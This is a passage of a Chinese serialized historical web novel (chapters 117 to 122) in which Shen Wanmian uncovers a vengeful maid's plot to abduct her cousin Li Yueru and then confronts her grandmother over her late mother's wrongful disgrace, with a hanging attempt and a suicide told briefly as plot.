李茵茵还是不为所动：“我知道啊，我不是打他了吗？而且我已经跟衙门说了，等他们找到证据，蒋奋就该被抓了。” 李执气的都要跳脚。 “如果悦茹真是你们亲生的，蒋奋又为何要害自己的亲女儿？！他明显是在为你们的亲儿子铺路！” 李悦茹整个人像是被定住了一般，窒息感扑面而来，几乎要将她淹死。 舅舅在说什么？她为何一个字都听不懂…… “你怎么知道，这不是蒋奋的诡计？他这个人一向诡计多端，咱们李家在他身上吃的亏，还不够多吗？” “兄长是真糊涂，还是装糊涂？我看你就是瞧不上悦茹，也瞧不上我！” 李执没想到妹妹会这样误会他。 他解释的语气都软了下来。 “茵茵，你是我亲妹妹，我怎么会瞧不上你？还有悦茹，即便她不是咱家的亲生骨肉，那也是我看着长大的孩子。” 李茵茵扯出一抹讽刺的笑：“因为我们是女子啊，蒋奋说我生的是个儿子，兄长立马就信了，不觉得可笑吗？” 李执想解释自己不是那个意思。 他张了张嘴，最终还是没说出口。 第117章 失踪 “哼，你爱怎么想怎么想！” 话毕，李执气的拂袖离去。 李茵茵也没多留，她本是来为小妹上香，结果被兄长追到此地。 说了一堆大言不惭的屁话。 说来说去，不就是瞧不上悦茹是个女娘，为那位莫须有的“外甥”铺路。 李执和李茵茵先后离去。 二人走了之后，周围瞬间安静下来。 李悦茹浑身的力气像是被抽干。 如果不是还有假山让她依靠。 她怕是早已跌坐在地上。 此刻她一张脸血色全无，眼神呆滞的看着前方。 她不是母亲的孩子？ 她的父亲想要她死？ 这些都是真的吗？ 那她是谁？她在李家的这些年又算什么？ 李悦茹痛苦的蜷缩起身体，她用力捂住自己的嘴巴，将自己的哭声隐匿在黑夜里…… 第二日一早，沈晚眠难得睡了个好觉。 她十分惬意的伸了个懒腰。 接着又长叹一口气。 该来的还是会来，她不得不去面对。 “吉祥，阿烟回来了吗？” 沈晚眠来到院子里，发现吉祥正背对着她洗衣服。 奇怪，大清早的，人都没起呢，她洗什么衣服？ 还有她不是称自己是静月轩的老大吗？ 洗衣服这种累活，还需要“老大”亲自动手？ 吉祥像是没听到她的话一般，机械的重复搓衣服的动作。 沈晚眠来到吉祥身前，拍了拍她的肩膀。 吉祥顶着她的“熊猫眼”回过头，沈晚眠顿时愣住了。 “吉祥！你……昨晚干啥了？” 莫非是太伤心害怕，所以一夜没睡？ 想到这里，沈晚眠有些自责。 都怪她，没照顾好吉祥的情绪…… 沈晚眠将吉祥从地上拉起，还拍了拍她衣服上沾染的土。 “都是我不好，昨晚你一定吓坏了吧，快回去休息。” “别洗了，回去好好睡一觉，你瞧瞧你，都困成什么样了。” 出于愧疚，沈晚眠都忘了自己刚才的疑问。 吉祥心虚的不敢直视沈晚眠的眼睛。 “好，我这就去睡觉。” 她总不能说自己昨晚偷偷跑出去烧纸，还被李悦茹逮到了吧…… 此事只要李悦茹不提，她还是不说为好。 看着吉祥的背影，沈晚眠叹了一口气。 她还是先去看看孙建的情况吧。 这个人，棘手的很…… 沈晚眠来到后院柴房，看到阿烟正在满脸嫌弃的给孙建换药。 “阿烟，你何时回来的？” 阿烟见到沈晚眠，便从袖子里掏出一封信递给她。 “跟孙嫣然要的，你们那边进展怎么样？我听说昨日死人了，还和吉祥有关，怎么回事？” “还有这个人，怎么处置？” 仅仅分别一日，就出了这么大的事，看来日后她得寸步不离的守着小姐才行。 沈晚眠看了一眼信封，又看了一眼瑟缩着的孙建。 “阿烟，你出来一下。” 二人来到外面，沈晚眠将昨日发生的事讲给阿烟听。 信息量有些超载，阿烟听完脑子都要转不过来了。 “小姐，你等会，你是说这些事情都是昨天一天发生的是吗？” 这么多魔幻又离谱的事情，竟然都在同一天发生！ 沈晚眠也觉得很离谱，但事实就是如此。 “对了，我怎么把这么重要的事忘了，你能联系上沈怀瑾吗？我得给他写封信。” “可以，您写吧，写完我飞鸽传书给他。” 沈晚眠有些不放心，她一直听说过飞鸽传书，但从没见过。 这种方式真的靠谱吗？ “沈怀瑾能收到吗？” 阿烟拍着胸脯保证道：“小姐，您就放心吧，这是殿下军中专用的传信方法，保证万无一失。” 沈晚眠这才安下心。 等阿烟包扎好孙建的伤口，二人一块回了静月轩。 沈晚眠写完信后，将信交给了阿烟。 只见阿烟来到院子里，对着天空吹了声口哨，一只白鸽便从远处落到她的肩头。 沈晚眠第一次见这种场面，实在好奇的紧。 “哇……它从哪来的？” 阿烟心虚的摸了摸鼻子。 她总不能说自己一直都带着它，方便跟殿下传信吧…… “殿下不是也来扬州了吗，我就试着唤了一声，没想到真有一只在附近的……” “好了，小姐，信送出去了，怎么不见吉祥？” 阿烟怕自己露馅，赶紧将话题转移到吉祥身上。 “别提了，吉祥昨晚应该一宿没睡，现在应该在补觉吧。” 阿烟点点头：“哦……我去看看她……” 说完，阿烟逃似的离开了。 阿烟前脚刚走，后脚一位神色慌张的丫鬟便跑了进来。 “沈小姐，我家小姐来过您这里吗？” 许是来的着急，丫鬟还喘着粗气。 沈晚眠忍不住皱起眉头，又出什么事了？ “没有，怎么了？” 丫鬟接着问道：“那您今日见过她吗？” “没，到底发生何事了？” 意识到事情不对劲，沈晚眠打起精神来。 “小姐她……她失踪了！” “什么？！” 李府前厅，李老夫人坐在上首眉头紧锁。 李茵茵急得在屋子里团团转。 她不时往外面探头，心里祈祷下一秒便能看到女儿的身影。 一向稳重的李执，此刻也慌了神。 昨日刚发生了那样的事，今日悦茹便不见了。 他很难不怀疑是蒋奋搞的鬼。 但若此事他们也没有证据，若贸然前往，恐怕会打草惊蛇…… 李家上下乱做一团，全是呼唤李悦茹的声音。 沈晚眠来前厅的路上，刚好碰到李言初。 她们二人一进门，李茵茵便扑了上来。 “好孩子，你见过悦茹吗？” 看到李茵茵为了女儿如此失态。 她心里莫名有些酸涩。 “姨母您别急，我没见过表姐，您最后一次见表姐，是什么时候？” 李茵茵冷静下来，她想了一会，随即开口道：“昨日我们一起用了晚膳，我瞧着她兴致不高，只吃了几口，之后她便离开了，今天早上她房里的丫鬟匆忙来报，说她一夜未归。” 沈晚眠拧起眉。 一夜违规？若是她出了李府，想必下人定会来报，没人禀报就说明她没出李府。 至少她没自行出府。 “姨母别急，您可知最后一位见过表姐的是谁？” 李茵茵将她身后的丫鬟拉过。 “是她，就是她第一个发现悦茹不见了。” 第118章 妄议 丫鬟还在小声抽泣。 说话都有些含糊不清。 “小姐，小姐回来后，有些心不在焉，奴婢就建议她在院子里走走，散散心，小姐听了奴婢的话，披了件披风便出门了，也不许奴婢跟着，之前小姐经常这样，奴婢也没多想，只是没想到，小姐竟一夜未归，到现在都没瞧见她的身影。” 沈晚眠听后眉头皱得更深。 昨日二人分别时李悦茹还好好的，只是看起来有些失落。 姨母也说她没有别的反应。 只是出门散个步人怎么就能消失了呢？ 那就只有两种可能。 一种是她自己躲起来了，不过沈晚眠觉得，这个概率不大。 另外一种，便是有人故意为之…… 不过她之前探查过，李府没有别的出口，墙也不好翻。 李悦茹应该还在府里。 但是还有另外一种可能，李府人多眼杂，进进出出家丁也会特别注意。 万一有人将李悦茹放到什么容器里带出去，也不会被人察觉。 “表兄，你过来。” 怕引起不必要的恐慌，沈晚眠悄悄将李言初喊到一边。 “待会儿你去门口问问，有没有人带大件的物品出去。” 李言初瞬间就明白了她的意思。 他有些惊讶道：“你是怀疑……” “嘘。” 沈晚眠做出噤声的手势，接着看了一眼屋里众人，还好没人注意她们。 她压低声音道：“此事尚无定论，我也只是猜测。” 如果真的有人将李悦茹绑走，那就麻烦了。 “好，我这就去。” 李言初也怕表妹遇到危险，脚下一刻都不敢停。 找人这种事还得让阿烟来，毕竟她是专业的。 “外祖母，姨母，我身边的阿烟轻功了得，寻人的功夫也是一等一的好，我这就让她去寻表姐，你们别担心。” 李茵茵一喜：“好，好，麻烦你了。” 静月轩里，阿烟还不知道出了事。 她正心情大好的趴在吉祥床头，用狗尾巴草挠吉祥的鼻子。 吉祥被刺激的从梦中打了个喷嚏。 嘴里还喃喃道：“阿鸢……阿鸢！” 吉祥说的不清楚，阿烟将“阿鸢”，听成了自己的名字。 她动作一僵。 这丫头开天眼了不成！ 她怎么知道自己在这？ 莫非她在装睡？ 她用手指戳了戳吉祥的脸，吉祥翻了个身，眼睛还是紧闭着。 阿烟直觉好笑，原来她是在说梦话。 连说梦话喊的都是她的名字，原来自己在她心里的份量够重啊。 这边，阿烟在为这场美好的误会沾沾自喜。 另外一边的沈晚眠，脸色就没那么好了。 “说，把你们刚才说的话再重复一遍！” 几个小丫鬟低着头，瑟瑟发抖。 沈晚眠厉声道：“我叫你们重复一遍！” 她在回静月轩的路上，离的老远就看到这几个丫鬟凑在一起说笑。 凑近一听才知道，她们在说李玥茹的事。 “要我说呀，就阿鸢半夜来索命，将他的魂勾走了。”其中一个丫鬟调笑道。 另一个丫鬟附和着她的话继续道：“可不是吗？要不是她多事，阿鸢也不会死，我听说呀，本来那刺客想杀的就是她，是阿鸢替她挡下这一劫。” 其他人都在为了李悦茹的事奔走，她们不帮忙也就算了，还凑在这里说风凉话。 李家对这群下人，还是太好了。 沈晚眠的脾气本来就不好，这几发生了这么多事，她更是心烦意乱。 几个丫鬟也是倒霉，被她撞了个正着。 “不说是吧？来人将她们压下去，重打二十大板，通通发卖出去。” 这几个丫鬟平日里就很不讨人喜欢。 她们经常偷懒，还喜欢凑在一起欺压别的下人。 也就是主家好心，再加上她们能言善辩，有一张会说的巧嘴。 才没被赶出去。 其余的下人早就看看不惯她们。 沈晚眠刚说完话，就有几个家丁上前将她们押住。 “小姐饶命啊，我说，我什么都说。” “奴婢们刚才再说……李小姐是被阿鸢的鬼魂勾走了……” 沈晚眠怒声喝斥道：“妄议主家，还偷奸耍滑，再加十大板！” 说话的丫鬟整个人都呆住了。 她都回话了，怎么刑罚更重了？ 她怎么不按套路出牌！ “小姐，饶了我们吧，我们再也不敢了。” 沈晚眠才没功夫和她们纠缠。 她直接无视了她们的求饶，径直往静月走去。 阿鸢大概就是昨日和吉祥一起出门的丫鬟。 昨日吉祥，李悦茹，都不知道她叫什么。 因此她也才知道她的名字。 阿鸳……阿烟。 真是像。 刚才她也是隐隐约约听到她们提到“阿烟”，才上去追问…… 沈晚眠很快便回到了静月轩。 她从吉祥房中，将阿烟拽出来。 刚想跟她说让她去找李悦茹。 却意外听到吉祥的梦话。 “阿鸢……阿鸢” 沈晚眠猛的一怔。 “吉祥她……” 昨日还不知她的名字，怎么…… 阿烟有些骄傲道：“吉祥这是做梦都想着我呢。” “小姐，您有何吩咐？” 直觉告诉沈晚眠，昨日她睡着时，吉祥一定做了什么！ 想到她今天早上洗的那件衣裙，盆里都是泥土。 昨日吉祥身上沾染了血迹，一回来便换上了干净的衣裙。 静月轩都是石板路，根本不会让衣裙染上泥土。 吉祥到底去了哪儿？！ 沈晚眠又重新进屋将吉祥叫了起来。 吉祥睡的好好的，突然被她喊醒，脑袋还有点转不过来。 “我问你，吉祥，昨天夜你去了哪儿？都干了什么？” 如果她做的都是正常的事，那也不必遮遮掩掩。 回想起吉祥早晨的表情，分明是有鬼！ 吉祥见沈晚眠如此严肃，哪里敢撒谎。 便将昨夜的事，全都老实交代。 “我……昨日有一个叫小文的丫鬟来寻我，她说自己是今日与我同行的那位的好朋友。” “还跟我好一顿哭诉，说她命苦什么什么的。” “还说想让我陪她一起祭奠一下阿鸢。” “当时我心里也不好受，便同意了她的请求……” 说到这里，吉祥偷偷瞄了一眼沈晚眠的反应。 她从未见过这样的小姐，好可怕…… “然后呢？” “然后我俩就在夜里找了一处无人的地方，给阿鸢烧了点纸，还不小心引来了李小姐……” 第119章 索命 李悦茹！昨晚阿烟还见过李悦茹！ “你们何时见的她，发生了什么？她后来又去哪了？” 沈晚眠有些激动的问道？ 吉祥被她突如其来的转变搞的有些不知所措。 小姐这是怎么了？出什么事了？ “我也记不清了，当时挺晚了吧，应该是烧纸的味道太大，李小姐恰好闻到了。” “她来了之后就问我们在干什么，小文跟她说在祭奠阿鸢，李小姐听后没说话，也没责怪我们，许是她也有些愧疚。” “接着她也为阿鸢烧起了纸，我们准备的纸钱很快就被她烧完了，她吩咐我们去祠堂拿一些，我和小文都不敢去，她就自己去了。” 吉祥不好意思的摸了摸鼻子。 “我俩害怕事情闹大，就趁她离开赶紧将东西收拾了，之后我就回来了。” 沈晚眠的表情变得十分严肃。 “李悦茹不见了，昨夜她一整晚都没回房，今日也寻不到她的踪影。” 吉祥震惊道：“什么？不能能啊，昨日我们见到她时，她还好好的，怎么就……” 沈晚眠接着问道：“你们在哪里烧的纸？李悦茹最后往哪个方向走了？” 吉祥想了想，昨晚太黑她没看清路，只记得她们烧纸的地方在一片树林里。 “我记不太清了，李小姐最后应该是去祠堂了，她走后我和小文也不敢多留，她回她的住处，我摸着黑绕了一大圈，才回到静月轩。” 李悦茹闻到她们烧纸的味道才去寻她们，她们烧纸的地方应该离她的住处不远。 这个小文恐怕不简单，她在李府有关系很好的朋友，还能准确的知道昨日和阿鸢一起出去的是吉祥，说明她在李府待的时日不短。 她若真不想被人发现，李府如此之大，有的是不容易被人发现的地方。 她偏偏选在李悦茹住所附近。 恐怕李悦茹的失踪，和她脱不了干系。 “你刚才提到的小文，她在哪？带我去找她。” 接着沈晚眠又回头对阿烟道：“阿烟，你也一起。” 如果对方真的是凶手，能将李悦茹悄无声息的藏起来，定是有些功夫在身。 三人刚要去找小文，却被一位匆忙而来的家丁拦住。 家丁从大门处一路狂奔而来，还喘着粗气。 “不好了……沈小姐，门口出事了……公子叫我喊您过去……” 她让李言初去大门口守着，莫非…… “出什么事了？” 家丁没继续说门口的事，而是先讲了另一件事。 “公子让我告诉您，后院的人她已经替您转移，您不必担心。” 她怎么把这么重要的事忘了！孙建还在后院！ 幸好表兄想的周到。 “好，替我谢过表兄，门口发生何事了？” 提到这里，家丁变得有些着急。 “有一个小丫鬟拖着个大麻袋想出府，被公子拦了下来，公子想让她把麻袋打开，检查一下里面是什么，结果那丫鬟突然发了疯，从腰间抽出一把刀，说不让她出去她就捅死麻袋里的人……” 不等家丁说完，沈晚眠脸色变得煞白，心猛地一沉，一种不祥的预感涌上心头。 她顾不上多想，拔腿就朝着大门飞奔而去。 那丫鬟一定就是小文，不过她为何要选择这种方式？ 她图什么？ 或者她这样做的目的是什么？ 无数个疑问在她脑海中盘旋。 等她赶到门口时，局面还在僵持着。 数十名家丁将小文团团围住，却没人敢上前。 小文的脸上挂着狰狞的笑，她拿着刀，死死抵住麻袋。 李言初则在不远处一直劝她，让她把刀放下。 小文丝毫不为所动。 沈晚眠刚刚停下脚步，李老夫人和李茵茵紧接着也赶了过来。 小文见所有人都被她吸引过来，嘴角的弧度更大了。 “把刀放下，快把刀放下，你想要什么，什么我都可以给你，求你放了我女儿……” 李茵茵急的眼泪在眼眶中打转，说话都有些颠三倒四。 小文挑了挑眉，她突然放声大笑。 “想救你的女儿？可以，那你先把阿鸢的命还给我！” 沈晚眠环视一圈，突然觉得有些不对劲。 她记得李家有很多会武功的护院。 怎么一个都不在？ “护院呢？护院都去哪里了？” 沈晚眠问道。 家丁有些生气道：“都是这个女人，她伪造了一份书信，说小姐被蒋奋带走了，老爷把所有的护院都带走了。” 调虎离山！果然聪明。 不过她既懂得将有威胁之人支走，为何又要主动暴露自己。 她到底想干什么？ 沈晚眠紧紧盯着近乎癫狂的小文。 她这样做，到底是为了什么？ 小文的笑声越来越大。 似在嘲笑他们的无能。 忽然，一道白光从沈晚眠脑海中闪过。 如今李家上下都被她引到这里。 可她却没了下一步动作，怎么看，都像是在拖延时间！ “各个角落都搜查了吗？” 沈晚眠问道。 “应该……都查了。” 家丁将李府各个角落想了一遍，有些不确定道。 “你们的住处呢？也查了吗？” 如果她是小文，想要瞒过众人将一个活生生的人藏起来。 她一定会把人藏到下人住的房间。 毕竟没有人会怀疑，自己要找的人就在自己床底下。 听了沈晚眠的话，其他下人面面相觑，好像还真没人去找他们的房间。 家丁有些犹豫：“这……好像……” 沈晚眠脸色一凛，当机立断道：“马上给我去搜，一个房间都不许落下！” 一群人如梦初醒，立刻朝着下人们住的院子狂奔而去。 小文的脸色瞬间变的煞白，她手里的刀都要拿不稳。 她朝着那些离开的下人吼道：“你们都给我回来！回来！再往前走，我就囊死她！” 趁着小文慌神，阿烟瞅准时机，立马上前将她按住。 小文还想挣扎，被阿烟一记手刀打晕过去。 沈晚眠将小文拖着的麻袋打开。 果不其然，里面全是破布，李悦茹压根不在里面。 众人这才反应过来。 她们都被小文骗了。 李家人关心则乱，很容易被她牵着鼻子走。 第120章 回旋 先是用一封信调虎离山，等众人反应过来后，自然会觉得李悦茹就在麻袋里。 却不想，这也只是小文计划中的一环。 好一出计中计，真是好算计。 众人赶到下人住的院子时，李悦茹已经被救下了。 李悦茹一张脸煞白的躺在地上，双目紧紧闭着。 脖颈处一圈青紫的勒痕触目惊心。 看起来毫无生气。 李茵茵扑到女儿身前，泪水如决堤般涌出。 “我的女儿啊，你怎么遭了这般罪……” 她一边哭着，一边手指颤抖着抚上女儿的脸颊。 看着房梁上被扯断了的白绫。 沈晚眠沉默了。 是因为阿鸢死于割喉，小文才用这种方式报复李悦茹吗？ 几人合力将李悦茹轻轻抬至榻上。 门外传来一阵急促的脚步声，伴随着小厮的通报：“大夫到了！” 只见一位身着青布长衫的古稀老大夫，脚步匆忙，微微喘着粗气，手中的药箱随着步伐晃动。 他两鬓斑白，脸上刻满岁月的沟壑，却透着沉稳与从容。 这位大夫在扬州颇有名气。 有传言说，他曾是宫中御医，不小心犯了错才被赶出宫。 十六年前，他只靠一次出诊，便在扬州城打响了名号。 老大夫快步走到，顾不上擦拭额间的细汗，迅速放下药箱，从袖中取出一根细长的银针。 他轻轻抬起李悦茹的手腕，手指搭上脉搏，微闭双眼，眉头紧皱，似在用心感受那微弱而紊乱的脉象。 “快取些热水来，再准备干净的布巾。”老大夫声音沉稳却透着一丝急切。小厮们立刻忙不迭地照做。 待热水和布巾拿来，老大夫将银针在灯火上微微炙烤后，找准穴位，手法娴熟地刺入女子的穴位。 每落下一针，李茵茵的眉头便皱的更深。 李老夫人不忍看外孙女受苦，叹息着背过身去。 老大夫的眼神都专注而坚定，仿佛在与死神争夺李悦茹的生机。 随着银针的刺入，女子原本毫无血色的脸颊渐渐有了一丝红晕，喉间也发出微弱的呻吟。 老大夫和屋内众人，皆松了口气。 “没事了，没事了，让小姐好好休息吧。” 说罢，老大夫提起笔，写下几味药材。 最后将写好的药方递给身旁的小厮。 “小姐虽已无性命之忧，但元神不稳，此药一日三次，服用七日，还有，切记不可再受惊。” 李老夫人点头应下，恭恭敬敬的将老大夫送出门去。 老大夫在路过沈晚眠，微微愣住了神。 “你是……沈太傅家的？” 沈晚眠也没料到这位大夫能认出她的身份。 她不记得见过此人啊？ “您认识我？” 沈晚眠有些错愕道。 老大夫捋着胡须，只留下一句没头没尾的话。 “想不到……唉……罢了，一切都是天意啊。” 说完，老大夫便离开了。 沈晚眠刚想追上去问个究竟，却在踏出房门的时候和李言初撞了个满怀。 李言初后撤几步站稳，随后扶住沈晚眠的肩膀，帮她稳住身形。 “昭昭，你没事吧？” 沈晚眠摇摇头：“没事。” 李言初有些担忧的往里面探了探脑袋。 “悦茹呢，她还好吗？” “没事了，大夫刚刚来诊治过了。” 李言初这才放下心。 “那就好，没事了就好。” “小文呢？我想去见见她。” 她总觉得此事并不简单。 就算关系再好，也没必要赌上自己的性命报这场并不值当的仇吧。 杀害阿鸢的凶手又不是李悦茹。 她也是无心之失。 若真想为好友报仇，也该去找那日的刺客才是。 李言初沉声道：“小文……自尽了……” 沈晚眠震惊道：“阿烟不是将她打晕了吗，怎么会……” 怎么会这么突然！ 李言初也没料到她会如此极端。 但事实就摆在眼前。 许是阿烟打偏了，不过片刻她便醒了。 他刚想审问她背后受何人指使。 甚至他连语言都还没组织好，面前的人便拿起地上的刀割了自己的喉咙。 动作快到他都没看清…… 刚才沈晚眠还怀疑是有人指使她这么做的。 但现在看来，或许是自己想多了。 不过这世上，真的存在这种情谊吗？ “孙建，你想怎么处置他？” 李言初的话将沈晚眠拉回现实。 “他……我还没想好，先关着吧。” 提到孙建，她才想起来阿烟给她的信她还没看。 李悦茹这边的情况已经基本稳定住了。 有李老夫人和姨母守着，她也帮不上什么忙。 她便带着阿烟悄悄离开了。 吉祥还不知道外面的情况，急的她在屋子里来回踱步。 小姐怕她受到波及，不让她跟着去，静月轩的其他人也都没回来。 偌大个院子，只剩她一人。 内心的焦虑与不安被无限放大。 她只能祈祷大家都没事。 “吉祥，你干什么呢？” 阿烟一进门，便看到吉祥双眼紧闭双手合十，嘴里还不停地嘟囔。 吉祥惊喜的睁开眼。 “小姐，你们回来了！怎么样了，李小姐找到了吗？” 沈晚眠微微颔首：“找到了。” 吉祥又问道：“她没事吧，在哪找到的？小文呢，此事与她可有关？” “小文自尽了。” 提到小文，沈晚眠心里便十分复杂。 说她好吧，她又是非不分，还想滥杀无辜，做事还很极端。 说她不好，她却为了朋友连自己的性命都不顾。 她真不知该如何评价她…… 吉祥猛地从座位上弹起，声音都因惊讶而变了调。 “什么，她自尽了？！” 沈晚眠心累的很。 “让阿烟跟你说吧。” 吉祥将阿烟拽到一旁，追问起事情的头尾。 沈晚眠则来到床前，将早上收起的信重新拿了出来。 这封十七年前书信，由她母亲寄出，最后又回到她的手里。 她细细摩挲着信封上的字，想象着母亲写信时的场景。 她深吸一口气，手指微微颤抖的拆开信封。 陈旧的纸张早已泛黄，随着她展开的动作发出轻微的脆响。 仿佛是时光的低吟。 沈晚眠闭上双眼，将内心翻涌的情绪压下。 片刻后，她的眼睛恢复往日的清明，将信里的内容尽收眼底。 第121章 指责 片刻后，沈晚眠将信小心翼翼的重新叠好，放到信封中。 字里行间可以看出，这是一封写给孙文的回信。 这封信虽然没有提到什么重要的信息，但能看出，母亲愿意借给孙文银子。 而且她婉拒了孙文上京找她的请求，想托人给他送来。 如此说来，孙文上京是他自己的意愿。 与她母亲，还有孙建，都无关。 “吉祥，跟我走一趟，咱们去找李老夫人。” 沈晚眠来到前厅时，李执刚好在跟李老夫人汇报蒋家的消息。 小文伪造的那封信，成功支走了李执。 他气势汹汹的来到蒋家，却被告知蒋奋昨日就被衙门的人带走了。 昨日就被衙门带走的人，怎么去李府劫人？ 他这才意识到，他们被人戏耍了。 不过他此次去蒋家，并非白跑一趟。 仅凭一眼，他便认出，这个面容与言初有几分相似的小郎君，就是蒋奋口中的他与茵茵的亲生儿子！ 但对方有意躲闪，他也怕吓到他，便没将话说出。 李执一回来，便将此事说与李老夫人听。 李老夫人听后，并没表态，只淡淡的说自己知道了。 如今悦茹尚且在昏迷，茵茵守在她床前怎么都不肯离开。 这个时候，实在不宜拉扯这件事。 而且这种没凭没据的事，怎么能搬到台面上来？ 就算他真的是李家的血脉，也得等到悦茹完全好了，在另行决断。 沈晚眠在门外将屋里母子二人的话听了个大概。 她终于想起蒋重明是谁了。 上一世表兄为助她，落难入狱。 只有一人来看过他，便是表兄的同僚，蒋重明。 那日她来为表兄送饭，刚好碰上蒋重明。 二人并未说话，他只象征性的向身为太子妃的自己行了一礼，便离去了。 之后就在没见过他，也没听表兄提起过他。 想不到，再听到和他有关的消息，竟然是这种情况下。 不过她记得上一世姨母始终都只有表姐一个女儿。 没听说李家多了一位新郎君啊？ 莫非上一世蒋奋并未把蒋重明的身份公布。 那也不对。 就算他没对外公布，蒋重明肯定知道自己的身世吧。 虽然明面上他是蒋家老大家的小儿子。 蒋家自家人肯定都知道他的身份。 总不能没有一人跟他讲过自己的身世吧。 既然他知道自己是谁，按道理来讲，他应该嫉妒同为李家郎君的李言初才是。 为何又会在他落难时，为他雪中送炭？ 还有昨日，蒋重明为何要向徐家求娶。 沈晚眠实在想不明白。 现在不是想这些的时候，她还有更重要的事要办！ 她甩了甩头，将这些杂念从自己脑子里清出去。 紧接着，她便踏入了正厅的房门。 李老夫人和李执，都被她的突然出现，吓了一跳。 刚才他们谈论的事，她听到了多少？ “外祖母，这是我母亲写给孙文的信，还请您过目。” 李家的事与她无关，认不认这个“流落在外”的孩子，她更管不着。 以她对姨母和表姐的了解，就算人回来了，表姐也不会吃亏。 姨母也不会将家产给刚认识的人。 她只关心她母亲的事。 她只想为她母亲，找回公道。 李老夫人眉头紧紧皱起。 这丫头怎么还没放弃，还在检查。 真是有够倔的。 她将信拿在手里，看了一眼信封上的字，的确是园园的字迹没错。 不过她并未打开，而是先问沈晚眠：“刚才你舅舅的话，你听了几分？” 沈晚眠并不想撒谎：“五分，不过还请外祖母放心，此事我已经忘了，忘的一干二净。” 李老夫人有些意外她会如此冷静。 她以为，至少她会表点态，没想她竟这般置身事外。 “还请外祖母，看一眼我母亲的信。” 沈晚眠再次坚持道。 李老夫人知道不达目的决不罢休，便顺着她拆开了信封。 只不过等她看完后，便没那么淡定了。 李老夫人久久不能回神。 苍老却锐利的眼神中，满是不可置信。 “这封信你哪来的？” 李老夫人急促问道。 “孙家养女，孙嫣然。” 此刻，沈晚眠突然对面前的老人产生了恨意。 如果当年她肯调查一步，哪怕只是一步，都能发现事情不对劲。 偏偏却一步都不肯迈…… “你……还查出什么了？” 沈晚眠又掏出一个本子递给李老夫人。 “外祖母，我这里还有一个本子，请您看看第一页。” 那双布满岁月痕迹的手，颤抖着翻开本子的第一页。 仅仅一眼，泪水便在纸上晕开。 李老夫人再也忍不住，抱着女儿留下的本子，失声痛哭。 “都是我的错，是我不好，园园，是娘对不起你……” “我母亲并不喜欢孙文，婚后也没有对他念念不忘，甚至不想和他见面，她不是您想的那般不堪。” 封住徐家的口，又从没向沈家问过说法。 这么些年对她不闻不问。 除了认定她母亲有错，有大错，沈晚眠实在想不到李老夫人会这么做的第二个理由。 “当年孙建欠了一大笔银子，孙文为了帮他还债，跟我母亲写信借银子，我母亲的回信您也看到了，只是不知为何孙文执意要亲自上京。” “他拿到银子后，不知为何要逗留，最后还把自己作死了……” 沈晚眠将自己探查到的事全都讲了出来，丝毫不在意李老夫人听后有多痛苦。 “都怪我，都怪我……沈家说什么我便信什么，我怎么这么傻……园园，是娘对不起你……” 李老夫声泪俱下，旁边的李执赶紧上前安慰。 “母亲，这不是您的错，您也是受人蒙骗。” “别人的话就要全信吗？自己的女儿什么品性，自己还不知道吗？别人轻飘飘几句污蔑，您便深信不疑了十六年，这十六年里，您就没有一丝存疑吗？” 质问的话越说越激动，到最后直接吼了出来。 李执厉声呵斥道：“够了，沈家就这么教的你？敢对长辈不敬，你想登天不成？！” 沈晚眠冷笑一声：“沈家？你去打听打听，沈家管过我几次？我能活到今日，全靠我自己！” 第122章 离开 “我只为我母亲不值！摊上那样的夫家，自己的母亲还不信任自己，自己死了十六年，娘家竟无一人看望，自己被冤枉了十六年，竟无一人替自己申冤！” 一向雷厉风行说一不二的李老夫人，此刻就像一位普通老人一般。 为早亡的女儿失声痛哭。 都怪她，固守己见。 都怪她，为了所谓的面子，白白让女儿蒙受不平之冤近乎二十年！ “够了！你以为你是谁？我们李家庙太小，容不下您这尊大佛，还请沈小姐自己离开吧。” 李执直接对沈晚眠下了逐客令。 他从一开始便对她不喜。 先是引诱言初与她订婚，结果又在大庭广众下称只是误会。 如此轻佻随意，全然不顾他们李家的脸面。 如今还公然顶撞长辈。 他想不通，小妹从小乖巧懂事，怎么就生出她这样恬不知耻的女娘。 比沈晚眠的回应先到的是，李老夫人的拐杖。 李执痛苦的捂住脑袋。 母亲这次怎么下手这样狠…… “给我滚出去，这里还轮不到你说话！” 李老夫人上一刻还沉浸在悲伤之中无法自拔。 听到逆子这般对昭昭讲话。 还要将她赶出府。 她的暴脾气一下就上来了。 李执委屈道：“娘……我……” “滚出去听不见吗？！” 李执满腔委屈，却只能通通咽下。 他不敢违逆母亲的话，只得不情不愿的离开。 偌大的正厅，只剩沈晚眠和李老夫人两人。 沈晚眠满脸倔强，站的笔直。 李老夫人虽坐在上首，却神情哀伤身形佝偻。 “外祖母，我此番前是想问您，沈家究竟跟您说了什么？让您这么些年，对母亲的死不闻不问。” 沈晚眠本不想以质问的姿态询问。 情绪被推到这里，她也控制不住自己的嘴。 说出的话也有些尖锐。 “沈家说，园园与外男私通，丢尽了沈家的颜面。” “那狂徒死后，园园整日郁郁寡欢，食不下咽，致使孕中伤了身子，大夫劝过她这个孩子不能要，是她自己想去下面陪情郎，才不顾劝阻生下你……” “荒谬！沈家竟这般诋毁我母亲！” 沈晚眠一张脸气的通红，身体也因愤怒微微颤抖。 京城何时传出过她母亲私会外男的传闻？ 如果真有此事，恐怕苏倩儿早就羞辱过她八百遍。 这分明是沈知舟为了掩盖真相胡扯出来的屁话！ “所以您就信了？” 李老夫人叹了一口气，神情也恢复了理智：“沈家说了，只要李家不再追究此事，沈家会尽力将外面的传言压下，为了两家的名声，不信，也得信。” 听到这句话，沈晚眠的瞳孔骤然紧缩。 她震惊的向后退了一步。 所以李老夫人不是没有怀疑过，而是为了两家的脸面故意压下此事！ 她也怀疑母亲的死另有蹊跷，为了利益，她只能说服自己，相信沈家的话。 日子久了，怀疑也就淡了。 如果不是她今日查出证据，恐怕李老夫人，还会像以前一般，坚定认为，一切都是母亲的错。 “所以你就牺牲了我母亲？牺牲了你自己的孩子？” 昨日蒋奋和李茵茵的事，让她错以为，李家是个很好的归宿，是一个很温暖的家。 可李老夫人的一番话让她幡然醒悟。 所谓的温暖，不过是没触及到利益。 李老夫人，也不是表面上那般和蔼的长辈。 她是的骨子里，就是一位彻头彻尾的商人。 商人重利轻别离，这话自古以来都未曾变过…… “外祖母，我还有事先行一步。” 沈晚眠一刻都不想多留。 她怕自己控制不住，说出更难听的话。 不等李老夫人回话，沈晚眠扭头就走。 李老夫人将手伸出，又将手放下，挽留的话最终没说出口。 沈晚眠来时一肚子气，走时一肚子火。 事到如今，她还有必要继续在李家住下去吗？ 不趁早收拾东西回京城。 沈晚眠脑子里想的全是怎么回去。 